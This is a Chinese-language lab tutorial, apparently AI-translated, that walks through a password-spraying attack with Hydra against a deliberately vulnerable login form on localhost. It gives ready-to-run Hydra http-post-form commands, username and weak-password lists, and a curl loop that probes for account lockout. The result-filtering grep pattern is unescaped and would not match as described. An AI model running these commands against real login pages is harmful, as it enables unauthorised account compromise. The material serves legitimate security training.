在 Hydra 中进行密码喷洒

Beginner
立即练习

💡 本教程由 AI 辅助翻译自英文原版。如需查看原文,您可以 切换至英文原版

简介

在本次实验中,你将学习如何使用 Hydra(一款用于暴力破解测试的多功能网络安全工具)进行密码喷洒攻击。你将探索设置 Hydra、创建凭证列表以及针对 Web 认证表单执行定向攻击的过程。

本实验提供了配置攻击参数、分析结果以及识别弱凭证的实践经验。通过实际操作,你将深入了解常见的认证漏洞和防御策略。


Skills Graph

安装 Hydra

在这一步中,你将安装 Hydra,这是一款强大且灵活的密码破解工具,安全专业人员常用它来测试系统安全性。Hydra 可以对多种不同的网络服务进行暴力破解攻击,如网站(HTTP)、文件传输(FTP)和安全外壳(SSH)。了解这些工具的工作原理有助于你更好地保护系统免受攻击。

  1. 首先,你需要更新系统的软件包列表。这能确保你安装的是最新版本的 Hydra:

    sudo apt update

    sudo 命令会赋予你管理员权限,而 apt update 会刷新可用软件包的列表。

  2. 现在,使用以下简单命令安装 Hydra:

    sudo apt install hydra -y

    -y 标志会自动对安装过程中的所有提示回答“yes”,使安装过程更加顺畅。

  3. 安装完成后,通过检查其版本来验证 Hydra 是否正常工作:

    hydra -v

    你应该会看到类似以下的输出:

    Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes.

    这次版本检查确认了 Hydra 已正确安装并可以使用。

  4. 为了使用特定协议的高级功能并获得更好的性能,请安装以下可选依赖项:

    sudo apt install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird-dev -y

    这些库使 Hydra 能够与其他服务(如数据库(MySQL、PostgreSQL)和版本控制系统(Subversion))配合使用。

准备用户和密码列表

在这一步中,你将创建 Hydra 执行密码喷洒攻击所需的重要文本文件。这些文件包含了 Hydra 将针对目标 Web 表单系统地进行测试的潜在用户名和密码。密码喷洒攻击的原理是针对多个用户账户尝试少数常见密码,这样可以避免因针对单个账户尝试大量密码而导致的账户锁定。

  1. 首先,导航到你用于存储文件的项目目录。这样可以将所有内容组织在一个地方:

    cd ~/project
  2. 现在,我们将创建一个包含常见用户名的文件。这些是系统中可能存在的典型账户名。我们将使用 nano 文本编辑器来创建和编辑该文件:

    nano users.txt

    添加以下常见用户名,每行一个:

    admin
    administrator
    user
    test
    guest
    root
  3. 接下来,我们将创建一个密码列表文件。这些是用户可能设置的弱密码,非常适合用于测试。同样使用 nano:

    nano passwords.txt

    添加以下常用密码,每行一个:

    password
    123456
    admin
    letmein
    welcome
    qwerty
  4. 创建完这两个文件后,让我们验证它们是否存在于我们的目录中。ls -l 命令会显示详细的文件信息,包括文件的创建时间和大小:

    ls -l

    你应该会在输出中看到 users.txtpasswords.txt

  5. 最后,让我们检查每个文件的实际内容,以确保它们被正确创建。cat 命令会直接在终端中显示文件内容:

    cat users.txt
    cat passwords.txt

锁定目标 Web 表单

在这一步中,你将识别并分析用于密码喷洒攻击的目标 Web 表单。在本次练习中,我们将使用运行在 http://localhost:8080 上的一个故意设置为易受攻击的 Web 应用程序。密码喷洒攻击的原理是针对多个用户账户尝试少数常见密码,因此在发起攻击之前,了解登录表单的结构至关重要。

  1. 首先,验证目标 Web 应用程序是否正在运行:

    curl -I http://localhost:8080/login

    -I 标志指示 curl 仅获取 HTTP 标头。你应该会看到 200 OK 状态,这确认了登录页面可以访问。如果你遇到连接错误,请确保 Web 服务器正在运行后再继续。

  2. 通过查看页面源代码来检查登录表单的结构:

    curl http://localhost:8080/login | grep -A5 -B5 "form"

    此命令获取 HTML 内容,并显示任何 <form> 标签前后各 5 行的内容。查找表单的 action 属性(数据发送的目标地址)和输入字段名称 —— 这些通常被称为 usernamepassword,但也可能有所不同。

  3. 创建一个测试请求文件,记录表单的参数:

    nano form_test.txt

    添加以下内容,记录 Hydra 所需的关键信息:

    Target URL: http://localhost:8080/login
    Method: POST
    Username field: username
    Password field: password
    Failure indicator: "Invalid credentials"

    失败指示符有助于 Hydra 识别登录尝试何时失败。我们稍后将使用此文件来配置攻击。

  4. 使用单组凭证手动测试表单:

    curl -X POST -d "username=admin&password=wrongpass" http://localhost:8080/login -v

    -X POST 指定 HTTP 方法,而 -d 用于发送表单数据。-v 标志显示详细输出,以便你验证“Invalid credentials”响应。这确认了表单在登录失败时按预期工作。

  5. 通过快速发送 5 个请求来检查账户锁定策略:

    for i in {1..5}; do
      curl -X POST -d "username=admin&password=wrong$i" http://localhost:8080/login -s -o /dev/null -w "Attempt $i: %{http_code}\n"
    done

    此循环快速发送 5 次失败的登录尝试。观察 HTTP 状态码是否从 200(成功)变为 403(禁止访问),这表明存在账户锁定保护机制。在现实世界的应用程序中通常会有这些保护措施,但我们的测试环境中没有。

执行密码喷洒攻击

在这一步中,你将使用 Hydra 结合之前准备好的用户和密码列表,对目标 Web 表单执行密码喷洒攻击。密码喷洒是一种针对多个用户账户尝试少量常见密码的技术,有助于避免传统暴力破解攻击可能导致的账户锁定。

  1. 首先,导航到存储用户和密码列表的项目目录:

    cd ~/project
  2. 现在,我们将使用精心选择的参数运行 Hydra。此命令指示 Hydra 使用 Web 表单的登录页面作为目标,针对每个用户名测试密码列表中的每个密码:

    hydra -L users.txt -P passwords.txt localhost http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid credentials" -t 4 -vV

    让我们详细解释每个参数的作用:

    • -L users.txt:指定你的用户名列表文件(每行一个用户名)
    • -P passwords.txt:指定要测试的密码列表文件
    • http-post-form:指定我们使用 POST 方法攻击 Web 表单
    • /login:...:定义表单结构 —— 冒号后面的部分告诉 Hydra 如何识别失败的尝试
    • -t 4:运行 4 个并行连接以加快攻击速度
    • -vV:提供详细输出,以便你查看攻击进度
  3. 在 Hydra 运行时,请仔细观察输出。当 Hydra 找到有效的凭证时,它会清晰地显示出来,如下所示:

    [80][http-post-form] host: localhost   login: admin   password: admin
  4. 为了保存攻击结果以便记录或进一步分析,使用 -o 参数运行 Hydra:

    hydra -L users.txt -P passwords.txt localhost http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid credentials" -t 4 -o results.txt
  5. 攻击完成后,你可以使用以下命令查看保存的结果:

    cat results.txt

    此文件将包含攻击期间找到的所有成功登录组合。

分析结果

在这一步中,你将分析密码喷洒攻击的结果,以识别被盗用的凭证并了解安全影响。密码喷洒是一种攻击技术,攻击者针对多个账户尝试少数常见密码,而非针对少数账户尝试大量密码。

  1. 首先,查看 Hydra 创建的原始结果文件。该文件包含了 Hydra 在攻击期间进行的所有尝试:

    cat ~/project/results.txt

    查找包含 "[80][http-post-form]" 的行,这些行表示登录成功。数字 80 指的是 HTTP 端口,http-post-form 表示这是一个 Web 表单提交。

  2. 若要仅关注成功的尝试,可将被盗用的凭证提取到一个新文件中。grep 命令会过滤出包含成功模式的行:

    grep "[80][http-post-form]" ~/project/results.txt > ~/project/compromised_creds.txt
  3. 统计被盗用账户的数量,以了解漏洞的严重程度。使用带有 -l 标志的 wc(单词计数)命令来统计行数:

    wc -l ~/project/compromised_creds.txt
  4. 通过生成密码频率列表来分析密码模式。这有助于识别常用的弱密码:

    awk '{print $6}' ~/project/compromised_creds.txt | sort | uniq -c | sort -nr

    该命令提取第 6 个字段(密码),对其进行排序,统计重复项,并按频率排序。

  5. 创建一份安全报告,总结关键发现。这种结构化的格式有助于清晰地记录结果:

    echo "Password Spray Attack Results" > ~/project/security_report.txt
    echo "Compromised accounts: $(wc -l < ~/project/compromised_creds.txt)" >> ~/project/security_report.txt
    echo "Most common password: $(awk '{print $6}' ~/project/compromised_creds.txt | sort | uniq -c | sort -nr | head -1)" >> ~/project/security_report.txt
  6. 查看最终的安全报告,以查看汇总的结果:

    cat ~/project/security_report.txt

总结

在本次实验中,你学习了如何在 Linux 系统上使用 Hydra 进行密码喷洒攻击。该过程包括安装工具、准备凭证列表以及针对 Web 表单配置攻击。

你还探索了 Hydra 在网络服务上进行暴力破解尝试的基本功能。本次实验强调了正确的设置技巧,例如创建结构化的输入文件以及理解重要的命令参数。